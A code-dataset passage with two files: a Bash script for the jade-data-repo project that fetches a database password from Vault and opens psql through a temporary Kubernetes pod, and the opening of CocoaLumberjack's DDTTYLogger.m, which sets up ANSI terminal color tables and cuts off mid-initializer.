#!/bin/bash # Call this to connect to cloud Postgres for a specific Data Repo instance. # For example, to connect to the dev datarepo database as user mm, run: # $ DB=datarepo SUFFIX=mm ENVIRONMENT=dev ./db-connect.sh # To connect to a user instance's stairway database, run: # $ DB=stairway-mm SUFFIX=mm ENVIRONMENT=dev ./db-connect.sh # # If the connection times out, check that you are on the Broad VPN and are connected to correct # Kubernetes cluster. # # If you get an AlreadyExists error, it's possible the pod didn't shut down properly. You can # delete it using kubectl, where ZZ is the SUFFIX. # $ kubectl --namespace ZZ delete pod ZZ-sql : "${DB:?}" : "${ENVIRONMENT:?}" SUFFIX=${SUFFIX:-$ENVIRONMENT} VAULT_PATH="secret/dsde/datarepo/${ENVIRONMENT}/helm-datarepodb-${ENVIRONMENT}" PW=$( vault read -format=json "$VAULT_PATH" | jq -r .data.datarepopassword ) if [ -z "$PW" ]; then echo "Vault password is empty" exit 1 # error fi kubectl --namespace "${SUFFIX}" run "${SUFFIX}-psql" -it --restart=Never --rm --image postgres:11 -- \ psql "postgresql://drmanager:${PW}@${SUFFIX}-jade-gcloud-sqlproxy.${SUFFIX}/${DB}"
DataBiosphere/jade-data-repo
ops/db-connect.sh
Shell
bsd-3-clause
1,141
#import "DDTTYLogger.h" #import <unistd.h> #import <sys/uio.h> /** * Welcome to Cocoa Lumberjack! * * The project page has a wealth of documentation if you have any questions. * https://github.com/CocoaLumberjack/CocoaLumberjack * * If you're new to the project you may wish to read the "Getting Started" wiki. * https://github.com/CocoaLumberjack/CocoaLumberjack/wiki/GettingStarted **/ #if ! __has_feature(objc_arc) #error This file must be compiled with ARC. Use -fobjc-arc flag (or convert project to ARC). #endif // We probably shouldn't be using DDLog() statements within the DDLog implementation. // But we still want to leave our log statements for any future debugging, // and to allow other developers to trace the implementation (which is a great learning tool). // // So we use primitive logging macros around NSLog. // We maintain the NS prefix on the macros to be explicit about the fact that we're using NSLog. #define LOG_LEVEL 2 #define NSLogError(frmt, ...) do{ if(LOG_LEVEL >= 1) NSLog((frmt), ##__VA_ARGS__); } while(0) #define NSLogWarn(frmt, ...) do{ if(LOG_LEVEL >= 2) NSLog((frmt), ##__VA_ARGS__); } while(0) #define NSLogInfo(frmt, ...) do{ if(LOG_LEVEL >= 3) NSLog((frmt), ##__VA_ARGS__); } while(0) #define NSLogDebug(frmt, ...) do{ if(LOG_LEVEL >= 4) NSLog((frmt), ##__VA_ARGS__); } while(0) #define NSLogVerbose(frmt, ...) do{ if(LOG_LEVEL >= 5) NSLog((frmt), ##__VA_ARGS__); } while(0) // Xcode does NOT natively support colors in the Xcode debugging console. // You'll need to install the XcodeColors plugin to see colors in the Xcode console. // https://github.com/robbiehanson/XcodeColors // // The following is documentation from the XcodeColors project: // // // How to apply color formatting to your log statements: // // To set the foreground color: // Insert the ESCAPE_SEQ into your string, followed by "fg124,12,255;" where r=124, g=12, b=255. // // To set the background color: // Insert the ESCAPE_SEQ into your string, followed by "bg12,24,36;" where r=12, g=24, b=36. // // To reset the foreground color (to default value): // Insert the ESCAPE_SEQ into your string, followed by "fg;" // // To reset the background color (to default value): // Insert the ESCAPE_SEQ into your string, followed by "bg;" // // To reset the foreground and background color (to default values) in one operation: // Insert the ESCAPE_SEQ into your string, followed by ";" #define XCODE_COLORS_ESCAPE_SEQ "\033[" #define XCODE_COLORS_RESET_FG XCODE_COLORS_ESCAPE_SEQ "fg;" // Clear any foreground color #define XCODE_COLORS_RESET_BG XCODE_COLORS_ESCAPE_SEQ "bg;" // Clear any background color #define XCODE_COLORS_RESET XCODE_COLORS_ESCAPE_SEQ ";" // Clear any foreground or background color // Some simple defines to make life easier on ourself #if TARGET_OS_IPHONE #define OSColor UIColor #define MakeColor(r, g, b) [UIColor colorWithRed:(r/255.0f) green:(g/255.0f) blue:(b/255.0f) alpha:1.0f] #elif !defined (COCOAPODS_POD_AVAILABLE_CocoaLumberjack_CLI) #define OSColor NSColor #define MakeColor(r, g, b) [NSColor colorWithCalibratedRed:(r/255.0f) green:(g/255.0f) blue:(b/255.0f) alpha:1.0f] #else #define OSColor CLIColor #define MakeColor(r, g, b) [CLIColor colorWithCalibratedRed:(r/255.0f) green:(g/255.0f) blue:(b/255.0f) alpha:1.0f] #endif // If running in a shell, not all RGB colors will be supported. // In this case we automatically map to the closest available color. // In order to provide this mapping, we have a hard-coded set of the standard RGB values available in the shell. // However, not every shell is the same, and Apple likes to think different even when it comes to shell colors. // // Map to standard Terminal.app colors (1), or // map to standard xterm colors (0). #define MAP_TO_TERMINAL_APP_COLORS 1 @interface DDTTYLoggerColorProfile : NSObject { @public int mask; int context; uint8_t fg_r; uint8_t fg_g; uint8_t fg_b; uint8_t bg_r; uint8_t bg_g; uint8_t bg_b; NSUInteger fgCodeIndex; NSString *fgCodeRaw; NSUInteger bgCodeIndex; NSString *bgCodeRaw; char fgCode[24]; size_t fgCodeLen; char bgCode[24]; size_t bgCodeLen; char resetCode[8]; size_t resetCodeLen; } - (instancetype)initWithForegroundColor:(OSColor *)fgColor backgroundColor:(OSColor *)bgColor flag:(int)mask context:(int)ctxt; @end //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// #pragma mark - //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// @implementation DDTTYLogger static BOOL isaColorTTY; static BOOL isaColor256TTY; static BOOL isaXcodeColorTTY; static NSArray *codes_fg = nil; static NSArray *codes_bg = nil; static NSArray *colors = nil; static DDTTYLogger *sharedInstance; /** * Initializes the colors array, as well as the codes_fg and codes_bg arrays, for 16 color mode. * * This method is used when the application is running from within a shell that only supports 16 color mode. * This method is not invoked if the application is running within Xcode, or via normal UI app launch. **/ + (void)initialize_colors_16 { if (codes_fg || codes_bg || colors) return; NSMutableArray *m_codes_fg = [NSMutableArray arrayWithCapacity:16]; NSMutableArray *m_codes_bg = [NSMutableArray arrayWithCapacity:16]; NSMutableArray *m_colors = [NSMutableArray arrayWithCapacity:16]; // In a standard shell only 16 colors are supported. // // More information about ansi escape codes can be found online. // http://en.wikipedia.org/wiki/ANSI_escape_code [m_codes_fg addObject:@"30m"]; // normal - black [m_codes_fg addObject:@"31m"]; // normal - red [m_codes_fg addObject:@"32m"]; // normal - green [m_codes_fg addObject:@"33m"]; // normal - yellow [m_codes_fg addObject:@"34m"]; // normal - blue [m_codes_fg addObject:@"35m"]; // normal - magenta [m_codes_fg addObject:@"36m"]; // normal - cyan [m_codes_fg addObject:@"37m"]; // normal - gray [m_codes_fg addObject:@"1;30m"]; // bright - darkgray [m_codes_fg addObject:@"1;31m"]; // bright - red [m_codes_fg addObject:@"1;32m"]; // bright - green [m_codes_fg addObject:@"1;33m"]; // bright - yellow [m_codes_fg addObject:@"1;34m"]; // bright - blue [m_codes_fg addObject:@"1;35m"]; // bright - magenta [m_codes_fg addObject:@"1;36m"]; // bright - cyan [m_codes_fg addObject:@"1;37m"]; // bright - white [m_codes_bg addObject:@"40m"]; // normal - black [m_codes_bg addObject:@"41m"]; // normal - red [m_codes_bg addObject:@"42m"]; // normal - green [m_codes_bg addObject:@"43m"]; // normal - yellow [m_codes_bg addObject:@"44m"]; // normal - blue [m_codes_bg addObject:@"45m"]; // normal - magenta [m_codes_bg addObject:@"46m"]; // normal - cyan [m_codes_bg addObject:@"47m"]; // normal - gray [m_codes_bg addObject:@"1;40m"]; // bright - darkgray [m_codes_bg addObject:@"1;41m"]; // bright - red [m_codes_bg addObject:@"1;42m"]; // bright - green [m_codes_bg addObject:@"1;43m"]; // bright - yellow [m_codes_bg addObject:@"1;44m"]; // bright - blue [m_codes_bg addObject:@"1;45m"]; // bright - magenta [m_codes_bg addObject:@"1;46m"]; // bright - cyan [m_codes_bg addObject:@"1;47m"]; // bright - white #if MAP_TO_TERMINAL_APP_COLORS // Standard Terminal.app colors: // // These are the default colors used by Apple's Terminal.app. [m_colors addObject:MakeColor( 0, 0, 0)]; // normal - black [m_colors addObject:MakeColor(194, 54, 33)]; // normal - red [m_colors addObject:MakeColor( 37, 188, 36)]; // normal - green [m_colors addObject:MakeColor(173, 173, 39)]; // normal - yellow [m_colors addObject:MakeColor( 73, 46, 225)]; // normal - blue [m_colors addObject:MakeColor(211, 56, 211)]; // normal - magenta [m_colors addObject:MakeColor( 51, 187, 200)]; // normal - cyan [m_colors addObject:MakeColor(203, 204, 205)]; // normal - gray [m_colors addObject:MakeColor(129, 131, 131)]; // bright - darkgray [m_colors addObject:MakeColor(252, 57, 31)]; // bright - red [m_colors addObject:MakeColor( 49, 231, 34)]; // bright - green [m_colors addObject:MakeColor(234, 236, 35)]; // bright - yellow [m_colors addObject:MakeColor( 88, 51, 255)]; // bright - blue [m_colors addObject:MakeColor(249, 53, 248)]; // bright - magenta [m_colors addObject:MakeColor( 20, 240, 240)]; // bright - cyan [m_colors addObject:MakeColor(233, 235, 235)]; // bright - white #else // Standard xterm colors: // // These are the default colors used by most xterm shells. [m_colors addObject:MakeColor( 0, 0, 0)]; // normal - black [m_colors addObject:MakeColor(205, 0, 0)]; // normal - red [m_colors addObject:MakeColor( 0, 205, 0)]; // normal - green [m_colors addObject:MakeColor(205, 205, 0)]; // normal - yellow [m_colors addObject:MakeColor( 0, 0, 238)]; // normal - blue [m_colors addObject:MakeColor(205, 0, 205)]; // normal - magenta [m_colors addObject:MakeColor( 0, 205, 205)]; // normal - cyan [m_colors addObject:MakeColor(229, 229, 229)]; // normal - gray [m_colors addObject:MakeColor(127, 127, 127)]; // bright - darkgray [m_colors addObject:MakeColor(255, 0, 0)]; // bright - red [m_colors addObject:MakeColor( 0, 255, 0)]; // bright - green [m_colors addObject:MakeColor(255, 255, 0)]; // bright - yellow [m_colors addObject:MakeColor( 92, 92, 255)]; // bright - blue [m_colors addObject:MakeColor(255, 0, 255)]; // bright - magenta [m_colors addObject:MakeColor( 0, 255, 255)]; // bright - cyan [m_colors addObject:MakeColor(255, 255, 255)]; // bright - white #endif codes_fg = [m_codes_fg copy]; codes_bg = [m_codes_bg copy]; colors = [m_colors copy]; NSAssert([codes_fg count] == [codes_bg count], @"Invalid colors/codes array(s)"); NSAssert([codes_fg count] == [colors count], @"Invalid colors/codes array(s)"); } /** * Initializes the colors array, as well as the codes_fg and codes_bg arrays, for 256 color mode. * * This method is used when the application is running from within a shell that supports 256 color mode. * This method is not invoked if the application is running within Xcode, or via normal UI app launch. **/ + (void)initialize_colors_256 { if (codes_fg || codes_bg || colors) return; NSMutableArray *m_codes_fg = [NSMutableArray arrayWithCapacity:(256-16)]; NSMutableArray *m_codes_bg = [NSMutableArray arrayWithCapacity:(256-16)]; NSMutableArray *m_colors = [NSMutableArray arrayWithCapacity:(256-16)]; #if MAP_TO_TERMINAL_APP_COLORS // Standard Terminal.app colors: // // These are the colors the Terminal.app uses in xterm-256color mode. // In this mode, the terminal supports 256 different colors, specified by 256 color codes. // // The first 16 color codes map to the original 16 color codes supported by the earlier xterm-color mode. // These are actually configurable, and thus we ignore them for the purposes of mapping, // as we can't rely on them being constant. They are largely duplicated anyway. // // The next 216 color codes are designed to run the spectrum, with several shades of every color. // While the color codes are standardized, the actual RGB values for each color code is not. // Apple's Terminal.app uses different RGB values from that of a standard xterm. // Apple's choices in colors are designed to be a little nicer on the eyes. // // The last 24 color codes represent a grayscale. // // Unfortunately, unlike the standard xterm color chart, // Apple's RGB values cannot be calculated using a simple formula (at least not that I know of). // Also, I don't know of any ways to programmatically query the shell for the RGB values. // So this big giant color chart had to be made by hand. // // More information about ansi escape codes can be found online. // http://en.wikipedia.org/wiki/ANSI_escape_code // Colors [m_colors addObject:MakeColor( 47, 49, 49)]; [m_colors addObject:MakeColor( 60, 42, 144)]; [m_colors addObject:MakeColor( 66, 44, 183)]; [m_colors addObject:MakeColor( 73, 46, 222)]; [m_colors addObject:MakeColor( 81, 50, 253)]; [m_colors addObject:MakeColor( 88, 51, 255)]; [m_colors addObject:MakeColor( 42, 128, 37)]; [m_colors addObject:MakeColor( 42, 127, 128)]; [m_colors addObject:MakeColor( 44, 126, 169)]; [m_colors addObject:MakeColor( 56, 125, 209)]; [m_colors addObject:MakeColor( 59, 124, 245)]; [m_colors addObject:MakeColor( 66, 123, 255)]; [m_colors addObject:MakeColor( 51, 163, 41)]; [m_colors addObject:MakeColor( 39, 162, 121)]; [m_colors addObject:MakeColor( 42, 161, 162)]; [m_colors addObject:MakeColor( 53, 160, 202)]; [m_colors addObject:MakeColor( 45, 159, 240)]; [m_colors addObject:MakeColor( 58, 158, 255)]; [m_colors addObject:MakeColor( 31, 196, 37)]; [m_colors addObject:MakeColor( 48, 196, 115)]; [m_colors addObject:MakeColor( 39, 195, 155)]; [m_colors addObject:MakeColor( 49, 195, 195)]; [m_colors addObject:MakeColor( 32, 194, 235)]; [m_colors addObject:MakeColor( 53, 193, 255)]; [m_colors addObject:MakeColor( 50, 229, 35)]; [m_colors addObject:MakeColor( 40, 229, 109)]; [m_colors addObject:MakeColor( 27, 229, 149)]; [m_colors addObject:MakeColor( 49, 228, 189)]; [m_colors addObject:MakeColor( 33, 228, 228)]; [m_colors addObject:MakeColor( 53, 227, 255)]; [m_colors addObject:MakeColor( 27, 254, 30)]; [m_colors addObject:MakeColor( 30, 254, 103)]; [m_colors addObject:MakeColor( 45, 254, 143)]; [m_colors addObject:MakeColor( 38, 253, 182)]; [m_colors addObject:MakeColor( 38, 253, 222)]; [m_colors addObject:MakeColor( 42, 253, 252)]; [m_colors addObject:MakeColor(140, 48, 40)]; [m_colors addObject:MakeColor(136, 51, 136)]; [m_colors addObject:MakeColor(135, 52, 177)]; [m_colors addObject:MakeColor(134, 52, 217)]; [m_colors addObject:MakeColor(135, 56, 248)]; [m_colors addObject:MakeColor(134, 53, 255)]; [m_colors addObject:MakeColor(125, 125, 38)]; [m_colors addObject:MakeColor(124, 125, 125)]; [m_colors addObject:MakeColor(122, 124, 166)]; [m_colors addObject:MakeColor(123, 124, 207)]; [m_colors addObject:MakeColor(123, 122, 247)]; [m_colors addObject:MakeColor(124, 121, 255)]; [m_colors addObject:MakeColor(119, 160, 35)]; [m_colors addObject:MakeColor(117, 160, 120)]; [m_colors addObject:MakeColor(117, 160, 160)]; [m_colors addObject:MakeColor(115, 159, 201)]; [m_colors addObject:MakeColor(116, 158, 240)]; [m_colors addObject:MakeColor(117, 157, 255)]; [m_colors addObject:MakeColor(113, 195, 39)]; [m_colors addObject:MakeColor(110, 194, 114)]; [m_colors addObject:MakeColor(111, 194, 154)]; [m_colors addObject:MakeColor(108, 194, 194)]; [m_colors addObject:MakeColor(109, 193, 234)]; [m_colors addObject:MakeColor(108, 192, 255)]; [m_colors addObject:MakeColor(105, 228, 30)]; [m_colors addObject:MakeColor(103, 228, 109)]; [m_colors addObject:MakeColor(105, 228, 148)]; [m_colors addObject:MakeColor(100, 227, 188)]; [m_colors addObject:MakeColor( 99, 227, 227)]; [m_colors addObject:MakeColor( 99, 226, 253)]; [m_colors addObject:MakeColor( 92, 253, 34)]; [m_colors addObject:MakeColor( 96, 253, 103)]; [m_colors addObject:MakeColor( 97, 253, 142)]; [m_colors addObject:MakeColor( 88, 253, 182)]; [m_colors addObject:MakeColor( 93, 253, 221)]; [m_colors addObject:MakeColor( 88, 254, 251)]; [m_colors addObject:MakeColor(177, 53, 34)]; [m_colors addObject:MakeColor(174, 54, 131)]; [m_colors addObject:MakeColor(172, 55, 172)]; [m_colors addObject:MakeColor(171, 57, 213)]; [m_colors addObject:MakeColor(170, 55, 249)]; [m_colors addObject:MakeColor(170, 57, 255)]; [m_colors addObject:MakeColor(165, 123, 37)]; [m_colors addObject:MakeColor(163, 123, 123)]; [m_colors addObject:MakeColor(162, 123, 164)]; [m_colors addObject:MakeColor(161, 122, 205)]; [m_colors addObject:MakeColor(161, 121, 241)]; [m_colors addObject:MakeColor(161, 121, 255)]; [m_colors addObject:MakeColor(158, 159, 33)]; [m_colors addObject:MakeColor(157, 158, 118)]; [m_colors addObject:MakeColor(157, 158, 159)]; [m_colors addObject:MakeColor(155, 157, 199)]; [m_colors addObject:MakeColor(155, 157, 239)]; [m_colors addObject:MakeColor(154, 156, 255)]; [m_colors addObject:MakeColor(152, 193, 40)]; [m_colors addObject:MakeColor(151, 193, 113)]; [m_colors addObject:MakeColor(150, 193, 153)]; [m_colors addObject:MakeColor(150, 192, 193)]; [m_colors addObject:MakeColor(148, 192, 232)]; [m_colors addObject:MakeColor(149, 191, 253)]; [m_colors addObject:MakeColor(146, 227, 28)]; [m_colors addObject:MakeColor(144, 227, 108)]; [m_colors addObject:MakeColor(144, 227, 147)]; [m_colors addObject:MakeColor(144, 227, 187)]; [m_colors addObject:MakeColor(142, 226, 227)]; [m_colors addObject:MakeColor(142, 225, 252)]; [m_colors addObject:MakeColor(138, 253, 36)]; [m_colors addObject:MakeColor(137, 253, 102)]; [m_colors addObject:MakeColor(136, 253, 141)]; [m_colors addObject:MakeColor(138, 254, 181)]; [m_colors addObject:MakeColor(135, 255, 220)]; [m_colors addObject:MakeColor(133, 255, 250)]; [m_colors addObject:MakeColor(214, 57, 30)]; [m_colors addObject:MakeColor(211, 59, 126)]; [m_colors addObject:MakeColor(209, 57, 168)]; [m_colors addObject:MakeColor(208, 55, 208)]; [m_colors addObject:MakeColor(207, 58, 247)]; [m_colors addObject:MakeColor(206, 61, 255)]; [m_colors addObject:MakeColor(204, 121, 32)]; [m_colors addObject:MakeColor(202, 121, 121)]; [m_colors addObject:MakeColor(201, 121, 161)]; [m_colors addObject:MakeColor(200, 120, 202)]; [m_colors addObject:MakeColor(200, 120, 241)]; [m_colors addObject:MakeColor(198, 119, 255)]; [m_colors addObject:MakeColor(198, 157, 37)]; [m_colors addObject:MakeColor(196, 157, 116)]; [m_colors addObject:MakeColor(195, 156, 157)]; [m_colors addObject:MakeColor(195, 156, 197)]; [m_colors addObject:MakeColor(194, 155, 236)]; [m_colors addObject:MakeColor(193, 155, 255)]; [m_colors addObject:MakeColor(191, 192, 36)]; [m_colors addObject:MakeColor(190, 191, 112)]; [m_colors addObject:MakeColor(189, 191, 152)]; [m_colors addObject:MakeColor(189, 191, 191)]; [m_colors addObject:MakeColor(188, 190, 230)]; [m_colors addObject:MakeColor(187, 190, 253)]; [m_colors addObject:MakeColor(185, 226, 28)]; [m_colors addObject:MakeColor(184, 226, 106)]; [m_colors addObject:MakeColor(183, 225, 146)]; [m_colors addObject:MakeColor(183, 225, 186)]; [m_colors addObject:MakeColor(182, 225, 225)]; [m_colors addObject:MakeColor(181, 224, 252)]; [m_colors addObject:MakeColor(178, 255, 35)]; [m_colors addObject:MakeColor(178, 255, 101)]; [m_colors addObject:MakeColor(177, 254, 141)]; [m_colors addObject:MakeColor(176, 254, 180)]; [m_colors addObject:MakeColor(176, 254, 220)]; [m_colors addObject:MakeColor(175, 253, 249)]; [m_colors addObject:MakeColor(247, 56, 30)]; [m_colors addObject:MakeColor(245, 57, 122)]; [m_colors addObject:MakeColor(243, 59, 163)]; [m_colors addObject:MakeColor(244, 60, 204)]; [m_colors addObject:MakeColor(242, 59, 241)]; [m_colors addObject:MakeColor(240, 55, 255)]; [m_colors addObject:MakeColor(241, 119, 36)]; [m_colors addObject:MakeColor(240, 120, 118)]; [m_colors addObject:MakeColor(238, 119, 158)]; [m_colors addObject:MakeColor(237, 119, 199)]; [m_colors addObject:MakeColor(237, 118, 238)]; [m_colors addObject:MakeColor(236, 118, 255)]; [m_colors addObject:MakeColor(235, 154, 36)]; [m_colors addObject:MakeColor(235, 154, 114)]; [m_colors addObject:MakeColor(234, 154, 154)]; [m_colors addObject:MakeColor(232, 154, 194)]; [m_colors addObject:MakeColor(232, 153, 234)]; [m_colors addObject:MakeColor(232, 153, 255)]; [m_colors addObject:MakeColor(230, 190, 30)]; [m_colors addObject:MakeColor(229, 189, 110)]; [m_colors addObject:MakeColor(228, 189, 150)]; [m_colors addObject:MakeColor(227, 189, 190)]; [m_colors addObject:MakeColor(227, 189, 229)]; [m_colors addObject:MakeColor(226, 188, 255)]; [m_colors addObject:MakeColor(224, 224, 35)]; [m_colors addObject:MakeColor(223, 224, 105)]; [m_colors addObject:MakeColor(222, 224, 144)]; [m_colors addObject:MakeColor(222, 223, 184)]; [m_colors addObject:MakeColor(222, 223, 224)]; [m_colors addObject:MakeColor(220, 223, 253)]; [m_colors addObject:MakeColor(217, 253, 28)]; [m_colors addObject:MakeColor(217, 253, 99)]; [m_colors addObject:MakeColor(216, 252, 139)]; [m_colors addObject:MakeColor(216, 252, 179)]; [m_colors addObject:MakeColor(215, 252, 218)]; [m_colors addObject:MakeColor(215, 251, 250)]; [m_colors addObject:MakeColor(255, 61, 30)]; [m_colors addObject:MakeColor(255, 60, 118)]; [m_colors addObject:MakeColor(255, 58, 159)]; [m_colors addObject:MakeColor(255, 56, 199)]; [m_colors addObject:MakeColor(255, 55, 238)]; [m_colors addObject:MakeColor(255, 59, 255)]; [m_colors addObject:MakeColor(255, 117, 29)]; [m_colors addObject:MakeColor(255, 117, 115)]; [m_colors addObject:MakeColor(255, 117, 155)]; [m_colors addObject:MakeColor(255, 117, 195)]; [m_colors addObject:MakeColor(255, 116, 235)]; [m_colors addObject:MakeColor(254, 116, 255)]; [m_colors addObject:MakeColor(255, 152, 27)]; [m_colors addObject:MakeColor(255, 152, 111)]; [m_colors addObject:MakeColor(254, 152, 152)]; [m_colors addObject:MakeColor(255, 152, 192)]; [m_colors addObject:MakeColor(254, 151, 231)]; [m_colors addObject:MakeColor(253, 151, 253)]; [m_colors addObject:MakeColor(255, 187, 33)]; [m_colors addObject:MakeColor(253, 187, 107)]; [m_colors addObject:MakeColor(252, 187, 148)]; [m_colors addObject:MakeColor(253, 187, 187)]; [m_colors addObject:MakeColor(254, 187, 227)]; [m_colors addObject:MakeColor(252, 186, 252)]; [m_colors addObject:MakeColor(252, 222, 34)]; [m_colors addObject:MakeColor(251, 222, 103)]; [m_colors addObject:MakeColor(251, 222, 143)]; [m_colors addObject:MakeColor(250, 222, 182)]; [m_colors addObject:MakeColor(251, 221, 222)]; [m_colors addObject:MakeColor(252, 221, 252)]; [m_colors addObject:MakeColor(251, 252, 15)]; [m_colors addObject:MakeColor(251, 252, 97)]; [m_colors addObject:MakeColor(249, 252, 137)]; [m_colors addObject:MakeColor(247, 252, 177)]; [m_colors addObject:MakeColor(247, 253, 217)]; [m_colors addObject:MakeColor(254, 255, 255)]; // Grayscale [m_colors addObject:MakeColor( 52, 53, 53)]; [m_colors addObject:MakeColor( 57, 58, 59)]; [m_colors addObject:MakeColor( 66, 67, 67)]; [m_colors addObject:MakeColor( 75, 76, 76)]; [m_colors addObject:MakeColor( 83, 85, 85)]; [m_colors addObject:MakeColor( 92, 93, 94)]; [m_colors addObject:MakeColor(101, 102, 102)]; [m_colors addObject:MakeColor(109, 111, 111)]; [m_colors addObject:MakeColor(118, 119, 119)]; [m_colors addObject:MakeColor(126, 127, 128)]; [m_colors addObject:MakeColor(134, 136, 136)]; [m_colors addObject:MakeColor(143, 144, 145)]; [m_colors addObject:MakeColor(151, 152, 153)]; [m_colors addObject:MakeColor(159, 161, 161)]; [m_colors addObject:MakeColor(167, 169, 169)]; [m_colors addObject:MakeColor(176, 177, 177)]; [m_colors addObject:MakeColor(184, 185, 186)]; [m_colors addObject:MakeColor(192, 193, 194)]; [m_colors addObject:MakeColor(200, 201, 202)]; [m_colors addObject:MakeColor(208, 209, 210)]; [m_colors addObject:MakeColor(216, 218, 218)]; [m_colors addObject:MakeColor(224, 226, 226)]; [m_colors addObject:MakeColor(232, 234, 234)]; [m_colors addObject:MakeColor(240, 242, 242)]; // Color codes int index = 16; while (index < 256) { [m_codes_fg addObject:[NSString stringWithFormat:@"38;5;%dm", index]]; [m_codes_bg addObject:[NSString stringWithFormat:@"48;5;%dm", index]]; index++; } #else // Standard xterm colors: // // These are the colors xterm shells use in xterm-256color mode. // In this mode, the shell supports 256 different colors, specified by 256 color codes. // // The first 16 color codes map to the original 16 color codes supported by the earlier xterm-color mode. // These are generally configurable, and thus we ignore them for the purposes of mapping, // as we can't rely on them being constant. They are largely duplicated anyway. // // The next 216 color codes are designed to run the spectrum, with several shades of every color. // The last 24 color codes represent a grayscale. // // While the color codes are standardized, the actual RGB values for each color code is not. // However most standard xterms follow a well known color chart, // which can easily be calculated using the simple formula below. // // More information about ansi escape codes can be found online. // http://en.wikipedia.org/wiki/ANSI_escape_code int index = 16; int r; // red int g; // green int b; // blue int ri; // r increment int gi; // g increment int bi; // b increment // Calculate xterm colors (using standard algorithm) int r = 0; int g = 0; int b = 0; for (ri = 0; ri < 6; ri++) { r = (ri == 0) ? 0 : 95 + (40 * (ri - 1)); for (gi = 0; gi < 6; gi++) { g = (gi == 0) ? 0 : 95 + (40 * (gi - 1)); for (bi = 0; bi < 6; bi++) { b = (bi == 0) ? 0 : 95 + (40 * (bi - 1)); [m_codes_fg addObject:[NSString stringWithFormat:@"38;5;%dm", index]]; [m_codes_bg addObject:[NSString stringWithFormat:@"48;5;%dm", index]]; [m_colors addObject:MakeColor(r, g, b)]; index++; } } } // Calculate xterm grayscale (using standard algorithm) r = 8; g = 8; b = 8; while (index < 256) { [m_codes_fg addObject:[NSString stringWithFormat:@"38;5;%dm", index]]; [m_codes_bg addObject:[NSString stringWithFormat:@"48;5;%dm", index]]; [m_colors addObject:MakeColor(r, g, b)]; r += 10; g += 10; b += 10; index++; } #endif codes_fg = [m_codes_fg copy]; codes_bg = [m_codes_bg copy]; colors = [m_colors copy]; NSAssert([codes_fg count] == [codes_bg count], @"Invalid colors/codes array(s)"); NSAssert([codes_fg count] == [colors count], @"Invalid colors/codes array(s)"); } + (void)getRed:(CGFloat *)rPtr green:(CGFloat *)gPtr blue:(CGFloat *)bPtr fromColor:(OSColor *)color { #if TARGET_OS_IPHONE // iOS BOOL done = NO; if ([color respondsToSelector:@selector(getRed:green:blue:alpha:)]) { done = [color getRed:rPtr green:gPtr blue:bPtr alpha:NULL]; } if (!done) { // The method getRed:green:blue:alpha: was only available starting iOS 5. // So in iOS 4 and earlier, we have to jump through hoops. CGColorSpaceRef rgbColorSpace = CGColorSpaceCreateDeviceRGB(); unsigned char pixel[4]; CGContextRef context = CGBitmapContextCreate(&pixel, 1, 1, 8, 4, rgbColorSpace, kCGBitmapAlphaInfoMask & kCGImageAlphaNoneSkipLast); CGContextSetFillColorWithColor(context, [color CGColor]); CGContextFillRect(context, CGRectMake(0, 0, 1, 1)); if (rPtr) { *rPtr = pixel[0] / 255.0f; } if (gPtr) { *gPtr = pixel[1] / 255.0f; } if (bPtr) { *bPtr = pixel[2] / 255.0f; } CGContextRelease(context); CGColorSpaceRelease(rgbColorSpace); } #elif !defined (COCOAPODS_POD_AVAILABLE_CocoaLumberjack_CLI) // OS X with AppKit NSColor *safeColor = [color colorUsingColorSpaceName:NSCalibratedRGBColorSpace]; [safeColor getRed:rPtr green:gPtr blue:bPtr alpha:NULL]; #else // OS X without AppKit [color getRed:rPtr green:gPtr blue:bPtr alpha:NULL]; #endif } /** * Maps the given color to the closest available color supported by the shell. * The shell may support 256 colors, or only 16. * * This method loops through the known supported color set, and calculates the closest color. * The array index of that color, within the colors array, is then returned. * This array index may also be used as the index within the codes_fg and codes_bg arrays. **/ + (NSUInteger)codeIndexForColor:(OSColor *)inColor { CGFloat inR, inG, inB; [self getRed:&inR green:&inG blue:&inB fromColor:inColor]; NSUInteger bestIndex = 0; CGFloat lowestDistance = 100.0f; NSUInteger i = 0; for (OSColor *color in colors) { // Calculate Euclidean distance (lower value means closer to given color) CGFloat r, g, b; [self getRed:&r green:&g blue:&b fromColor:color]; #if CGFLOAT_IS_DOUBLE CGFloat distance = sqrt(pow(r-inR, 2.0) + pow(g-inG, 2.0) + pow(b-inB, 2.0)); #else CGFloat distance = sqrtf(powf(r-inR, 2.0f) + powf(g-inG, 2.0f) + powf(b-inB, 2.0f)); #endif NSLogVerbose(@"DDTTYLogger: %3lu : %.3f,%.3f,%.3f & %.3f,%.3f,%.3f = %.6f", (unsigned long)i, inR, inG, inB, r, g, b, distance); if (distance < lowestDistance) { bestIndex = i; lowestDistance = distance; NSLogVerbose(@"DDTTYLogger: New best index = %lu", (unsigned long)bestIndex); } i++; } return bestIndex; } /** * The runtime sends initialize to each class in a program exactly one time just before the class, * or any class that inherits from it, is sent its first message from within the program. (Thus the * method may never be invoked if the class is not used.) The runtime sends the initialize message to * classes in a thread-safe manner. Superclasses receive this message before their subclasses. * * This method may also be called directly (assumably by accident), hence the safety mechanism. **/ + (void)initialize { static BOOL initialized = NO; if (!initialized) { initialized = YES; // Xcode does NOT natively support colors in the Xcode debugging console. // You'll need to install the XcodeColors plugin to see colors in the Xcode console. // // PS - Please read the header file before diving into the source code. char *xcode_colors = getenv("XcodeColors"); char *term = getenv("TERM"); if (xcode_colors && (strcmp(xcode_colors, "YES") == 0)) { isaXcodeColorTTY = YES; } else if (term) { if (strcasestr(term, "color") != NULL) { isaColorTTY = YES; isaColor256TTY = (strcasestr(term, "256") != NULL); if (isaColor256TTY) [self initialize_colors_256]; else [self initialize_colors_16]; } } NSLogInfo(@"DDTTYLogger: isaColorTTY = %@", (isaColorTTY ? @"YES" : @"NO")); NSLogInfo(@"DDTTYLogger: isaColor256TTY: %@", (isaColor256TTY ? @"YES" : @"NO")); NSLogInfo(@"DDTTYLogger: isaXcodeColorTTY: %@", (isaXcodeColorTTY ? @"YES" : @"NO")); sharedInstance = [[[self class] alloc] init]; } } + (instancetype)sharedInstance { return sharedInstance; } - (id)init { if (sharedInstance != nil) { return nil; } if ((self = [super init])) { calendar = [NSCalendar autoupdatingCurrentCalendar]; calendarUnitFlags = (NSCalendarUnitYear | NSCalendarUnitMonth | NSCalendarUnitDay | NSCalendarUnitHour | NSCalendarUnitMinute | NSCalendarUnitSecond); // Initialze 'app' variable (char *) appName = 